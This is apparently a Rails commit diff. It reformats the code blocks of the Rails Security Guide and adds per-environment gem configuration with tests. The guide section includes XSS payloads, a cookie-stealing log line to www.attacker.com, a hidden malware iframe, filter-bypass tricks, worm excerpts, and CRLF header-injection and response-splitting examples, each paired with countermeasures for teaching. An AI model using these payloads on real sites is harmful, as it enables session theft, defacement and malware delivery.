The log files on www.attacker.com will read like this: The log files on www.attacker.com will read like this:
<pre> <plain>
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
</pre> </plain>
You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though. You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
@ -723,9 +723,9 @@ h6. Defacement
With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes: With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
<pre> <html>
<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe> <iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
</pre> </html>
This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an "actual attack":http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser very successfully, 50% of the attacks succeed. This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an "actual attack":http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser very successfully, 50% of the attacks succeed.
@ -733,10 +733,10 @@ A more specialized attack could overlap the entire web site or display a login f
Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...": Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
<pre> <plain>
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--> http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
<script src=http://www.securitylab.ru/test/sc.js></script><!-- <script src=http://www.securitylab.ru/test/sc.js></script><!--
</pre> </plain>
h6. Countermeasures h6. Countermeasures
@ -746,16 +746,16 @@ Especially for XSS, it is important to do _(highlight)whitelist input filtering
Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible: Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
<pre> <ruby>
strip_tags("some<<b>script>alert('hello')<</b>/script>") strip_tags("some<<b>script>alert('hello')<</b>/script>")
</pre> </ruby>
This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize(): This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
<pre> <ruby>
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, :tags => tags, :attributes => %w(href title)) s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
</pre> </ruby>
This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags. This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
@ -765,24 +765,24 @@ h6. Obfuscation and Encoding Injection
Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding: Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
<pre> <html>
<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97; <IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;> &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
</pre> </html>
This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails sanitize() method does a good job to fend off encoding attacks. This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails sanitize() method does a good job to fend off encoding attacks.
h5. Examples from the underground h5. Examples from the underground
</pre> _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._ _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm: The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm:
<pre> <html>
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false; var Email = ''; target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ... var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
</pre> </html>
The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application. The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
@ -800,27 +800,27 @@ CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":ht
MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this: MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
<pre> <html>
<div style="background:url('javascript:alert(1)')"> <div style="background:url('javascript:alert(1)')">
</pre> </html>
So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code. So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.
<pre> <html>
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
</pre> </html>
The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”: The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
<pre> <plain>
alert(eval('document.body.inne' + 'rHTML')); alert(eval('document.body.inne' + 'rHTML'));
</pre> </plain>
The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this: The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:
<pre> <html>
<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')"> <div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">
</pre> </html>
Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token. Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
@ -839,24 +839,24 @@ h4. Textile Injection
For example, RedCloth translates +_test_+ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4: For example, RedCloth translates +_test_+ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
<pre> <ruby>
>> RedCloth.new('<script>alert(1)</script>').to_html RedCloth.new('<script>alert(1)</script>').to_html
=> "<script>alert(1)</script>" # => "<script>alert(1)</script>"
</pre> </ruby>
Use the :filter_html option to remove HTML which was not created by the Textile processor. Use the :filter_html option to remove HTML which was not created by the Textile processor.
<pre> <ruby>
>> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
=> "alert(1)" # => "alert(1)"
</pre> </ruby>
However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;: However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:
<pre> <ruby>
>> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
=> "<p><a href="javascript:alert(1)">hello</a></p>" # => "<p><a href="javascript:alert(1)">hello</a></p>"
</pre> </ruby>
h5. Countermeasures h5. Countermeasures
@ -882,10 +882,10 @@ If your application has to execute commands in the underlying operating system,
A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_. A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.
<pre> <ruby>
system("/bin/echo","hello; rm *") system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files # prints "hello; rm *" and does not delete files
</pre> </ruby>
h4. Header Injection h4. Header Injection
@ -896,30 +896,30 @@ HTTP request headers have a Referer, User-Agent (client software), and Cookie fi
Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address: Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
<pre> <ruby>
redirect_to params[:referer] redirect_to params[:referer]
</pre> </ruby>
What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this: What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
<pre> <plain>
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
</pre> </plain>
And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this: And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
<pre> <plain>
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi! http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
</pre> </plain>
Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first. Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
<pre> <plain>
HTTP/1.1 302 Moved Temporarily HTTP/1.1 302 Moved Temporarily
(...) (...)
Location: http://www.malicious.tld Location: http://www.malicious.tld
</pre> </plain>
So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._ So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
@ -927,7 +927,7 @@ h5. Response Splitting
If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be: If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
<pre> <plain>
HTTP/1.1 302 Found [First standard 302 response] HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html Location:Content-Type: text/html
@ -942,7 +942,7 @@ Keep-Alive: timeout=15, max=100 shown as the redirected page]
Connection: Keep-Alive Connection: Keep-Alive
Transfer-Encoding: chunked Transfer-Encoding: chunked
Content-Type: text/html Content-Type: text/html
</pre> </plain>
Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._ Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._

View file

@ -72,13 +72,14 @@ module Rails
rescue Gem::LoadError rescue Gem::LoadError
end end
def dependencies def dependencies(options = {})
return [] if framework_gem? return [] if framework_gem? || specification.nil?
return [] if specification.nil?
all_dependencies = specification.dependencies.map do |dependency| all_dependencies = specification.dependencies.map do |dependency|
GemDependency.new(dependency.name, :requirement => dependency.version_requirements) GemDependency.new(dependency.name, :requirement => dependency.version_requirements)
end end
all_dependencies += all_dependencies.map(&:dependencies).flatten
all_dependencies += all_dependencies.map { |d| d.dependencies(options) }.flatten if options[:flatten]
all_dependencies.uniq all_dependencies.uniq
end end
@ -149,6 +150,8 @@ module Rails
end end
def unpack_to(directory) def unpack_to(directory)
return if specification.nil? || File.directory?(gem_dir(directory)) || framework_gem?
FileUtils.mkdir_p directory FileUtils.mkdir_p directory
Dir.chdir directory do Dir.chdir directory do
Gem::GemRunner.new.run(unpack_command) Gem::GemRunner.new.run(unpack_command)

View file

@ -85,6 +85,7 @@ module Rails
# Adds an entry into config/environment.rb for the supplied gem : # Adds an entry into config/environment.rb for the supplied gem :
def gem(name, options = {}) def gem(name, options = {})
log 'gem', name log 'gem', name
env = options.delete(:env)
gems_code = "config.gem '#{name}'" gems_code = "config.gem '#{name}'"
@ -93,18 +94,26 @@ module Rails
gems_code << ", #{opts}" gems_code << ", #{opts}"
end end
environment gems_code environment gems_code, :env => env
end end
# Adds a line inside the Initializer block for config/environment.rb. Used by #gem # Adds a line inside the Initializer block for config/environment.rb. Used by #gem
def environment(data = nil, &block) # If options :env is specified, the line is appended to the corresponding
# file in config/environments/#{env}.rb
def environment(data = nil, options = {}, &block)
sentinel = 'Rails::Initializer.run do |config|' sentinel = 'Rails::Initializer.run do |config|'
data = block.call if !data && block_given? data = block.call if !data && block_given?
in_root do in_root do
gsub_file 'config/environment.rb', /(#{Regexp.escape(sentinel)})/mi do |match| if options[:env].nil?
"#{match}\n " << data gsub_file 'config/environment.rb', /(#{Regexp.escape(sentinel)})/mi do |match|
"#{match}\n " << data
end
else
Array.wrap(options[:env]).each do|env|
append_file "config/environments/#{env}.rb", "\n#{data}"
end
end end
end end
end end
@ -356,6 +365,17 @@ module Rails
File.open(path, 'wb') { |file| file.write(content) } File.open(path, 'wb') { |file| file.write(content) }
end end
# Append text to a file
#
# ==== Example
#
# append_file 'config/environments/test.rb', 'config.gem "rspec"'
#
def append_file(relative_destination, data)
path = destination_path(relative_destination)
File.open(path, 'ab') { |file| file.write(data) }
end
def destination_path(relative_destination) def destination_path(relative_destination)
File.join(root, relative_destination) File.join(root, relative_destination)
end end

View file

@ -47,8 +47,8 @@ namespace :gems do
require 'rubygems' require 'rubygems'
require 'rubygems/gem_runner' require 'rubygems/gem_runner'
Rails.configuration.gems.each do |gem| Rails.configuration.gems.each do |gem|
next unless !gem.frozen? && (ENV['GEM'].blank? || ENV['GEM'] == gem.name) next unless ENV['GEM'].blank? || ENV['GEM'] == gem.name
gem.unpack_to(Rails::GemDependency.unpacked_path) if gem.loaded? gem.unpack_to(Rails::GemDependency.unpacked_path)
end end
end end
@ -59,8 +59,7 @@ namespace :gems do
require 'rubygems/gem_runner' require 'rubygems/gem_runner'
Rails.configuration.gems.each do |gem| Rails.configuration.gems.each do |gem|
next unless ENV['GEM'].blank? || ENV['GEM'] == gem.name next unless ENV['GEM'].blank? || ENV['GEM'] == gem.name
gem.dependencies.each do |dependency| gem.dependencies(:flatten => true).each do |dependency|
next if dependency.frozen?
dependency.unpack_to(Rails::GemDependency.unpacked_path) dependency.unpack_to(Rails::GemDependency.unpacked_path)
end end
end end

View file

@ -133,7 +133,7 @@ class GemDependencyTest < Test::Unit::TestCase
dummy_gem.add_load_paths dummy_gem.add_load_paths
dummy_gem.load dummy_gem.load
assert dummy_gem.loaded? assert dummy_gem.loaded?
assert_equal 2, dummy_gem.dependencies.size assert_equal 2, dummy_gem.dependencies(:flatten => true).size
assert_nothing_raised do assert_nothing_raised do
dummy_gem.dependencies.each do |g| dummy_gem.dependencies.each do |g|
g.dependencies g.dependencies

View file

@ -82,6 +82,17 @@ class RailsTemplateRunnerTest < GeneratorTestCase
assert_rails_initializer_includes("config.gem 'mislav-will-paginate', :lib => 'will-paginate', :source => 'http://gems.github.com'") assert_rails_initializer_includes("config.gem 'mislav-will-paginate', :lib => 'will-paginate', :source => 'http://gems.github.com'")
end end
def test_gem_with_env_string_should_put_gem_dependency_in_specified_environment
run_template_method(:gem, 'rspec', :env => 'test')
assert_generated_file_with_data('config/environments/test.rb', "config.gem 'rspec'", 'test')
end
def test_gem_with_env_array_should_put_gem_dependency_in_specified_environments
run_template_method(:gem, 'quietbacktrace', :env => %w[ development test ])
assert_generated_file_with_data('config/environments/development.rb', "config.gem 'quietbacktrace'")
assert_generated_file_with_data('config/environments/test.rb', "config.gem 'quietbacktrace'")
end
def test_environment_should_include_data_in_environment_initializer_block def test_environment_should_include_data_in_environment_initializer_block
load_paths = 'config.load_paths += %w["#{RAILS_ROOT}/app/extras"]' load_paths = 'config.load_paths += %w["#{RAILS_ROOT}/app/extras"]'
run_template_method(:environment, load_paths) run_template_method(:environment, load_paths)